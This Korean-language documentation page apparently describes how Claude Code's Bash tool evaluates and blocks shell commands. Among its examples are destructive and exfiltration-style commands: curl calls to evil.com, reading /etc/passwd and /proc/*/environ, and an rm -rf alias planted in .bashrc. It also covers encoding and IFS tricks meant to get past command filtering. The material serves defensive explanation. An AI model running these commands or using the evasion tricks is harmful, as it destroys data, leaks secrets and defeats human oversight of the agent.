콘텐츠로 이동

Bash 명령어 보안

Bash 도구는 Claude Code에서 가장 강력하면서도 가장 위험한 도구입니다. 셸 명령어는 파일 시스템, 네트워크, 프로세스 등 시스템 전반에 접근할 수 있기 때문입니다. Claude Code는 Bash 명령어에 대해 다층적인 보안 메커니즘을 적용합니다.

권한 규칙에서 *는 와일드카드로 동작합니다.

Bash(git *)

이 규칙은 git status, git commit -m "fix", git push origin maingit으로 시작하는 모든 서브커맨드 와 매칭됩니다. 따라서 허용 목록을 작성할 때 너무 넓은 와일드카드는 주의해야 합니다.

// 너무 넓음 - git push --force도 허용됨
{ "allow": ["Bash(git *)"] }
// 더 안전함 - 읽기 작업만 허용
{ "allow": ["Bash(git status)", "Bash(git log *)", "Bash(git diff *)"] }

&&, ||, ;, | 등 셸 연산자로 연결된 복합 명령어는 각 서브커맨드를 독립적으로 평가 합니다.

Terminal window
# 이 명령어는 두 개의 서브커맨드로 분리됩니다
git add . && git commit -m "update"
# → "git add ." 평가
# → "git commit -m 'update'" 평가

가장 제한적인 결과가 전체 명령어를 차단합니다.

Terminal window
# git status는 허용, rm -rf /tmp/file은 차단
git status && rm -rf /tmp/file
# → git status: allow
# → rm -rf /tmp/file: deny
# → 전체 명령어: DENY (가장 제한적인 결과 적용)

이 원칙 덕분에 허용된 명령어 뒤에 위험한 명령어를 붙이는 우회 시도가 차단됩니다.

다음 패턴들은 위험성이 높아 추가적인 감시와 확인이 적용됩니다.

프로젝트 디렉토리 외부 출력 리다이렉션

섹션 제목: “프로젝트 디렉토리 외부 출력 리다이렉션”
Terminal window
# 감시 대상: 프로젝트 외부로 데이터 유출 가능
cat /etc/passwd > /tmp/output.txt
command > ~/Desktop/sensitive.txt
Terminal window
# 감시 대상: 프로젝트 범위를 벗어난 작업
cd /etc && cat hosts
cd ~ && ls -la
Terminal window
# 감시 대상: 파일 직접 수정 (백업 없이)
sed -i 's/foo/bar/g' config.json
sed -i '' 's/password=.*/password=hacked/' .env

-i 플래그는 파일을 직접 수정하며, 실수 시 복구가 어렵습니다.

다음 대상들은 규칙에 관계없이 항상 차단됩니다.

Terminal window
# 항상 차단
cat ~/.claude/settings.json
rm -rf ~/.claude/
ls ~/.ssh/

Claude 설정과 SSH 키 등 민감한 설정 디렉토리는 보호됩니다.

Terminal window
# 항상 차단
echo "alias ls='rm -rf /'" >> ~/.bashrc
cat > ~/.zshrc << 'EOF'
...
EOF

셸 설정 파일을 수정하면 영구적인 시스템 변경이 가능하므로 차단됩니다.

Terminal window
# 항상 차단
cd /; cat etc/passwd
ls /../../etc/

다음 구문들은 명령어 평가를 우회하거나 예측 불가능한 실행을 유발할 수 있어 차단됩니다.

Terminal window
# 차단: 동적으로 실행 내용이 결정됨
$(cat /tmp/payload.sh)
`curl http://evil.com/script.sh`

$() 및 백틱(`)은 외부에서 주입된 명령어를 실행하는 데 악용될 수 있습니다.

Terminal window
# 차단: 프로세스 출력을 파일처럼 처리
diff <(cat /etc/passwd) <(curl http://evil.com/passwd)
Terminal window
# 차단: 프로세스 환경변수에서 비밀 정보 접근
cat /proc/*/environ
Terminal window
# 차단: 이스케이프 시퀀스를 이용한 우회
$'\x72\x6d\x20\x2d\x72\x66' # rm -rf를 인코딩

ANSI-C 따옴표는 문자를 인코딩하여 패턴 매칭을 우회하는 데 사용될 수 있습니다.

Terminal window
# 차단: 단어 분리 방식을 변경하여 명령어 재구성
IFS=_ ; $_rm_-rf_/

IFS(Internal Field Separator)를 변경하면 명령어 파싱 방식이 달라져 보안 검사를 우회할 수 있습니다.

카테고리예시처리
안전한 조회git status, ls, cat README자동 허용 (Default 모드)
와일드카드 패턴git *규칙에 따라
복합 명령어a && b가장 제한적 결과 적용
프로젝트 외부 작업cd /etc강화 감시
설정 파일 수정echo >> ~/.bashrc항상 차단
우회 구문$(...), `...`항상 차단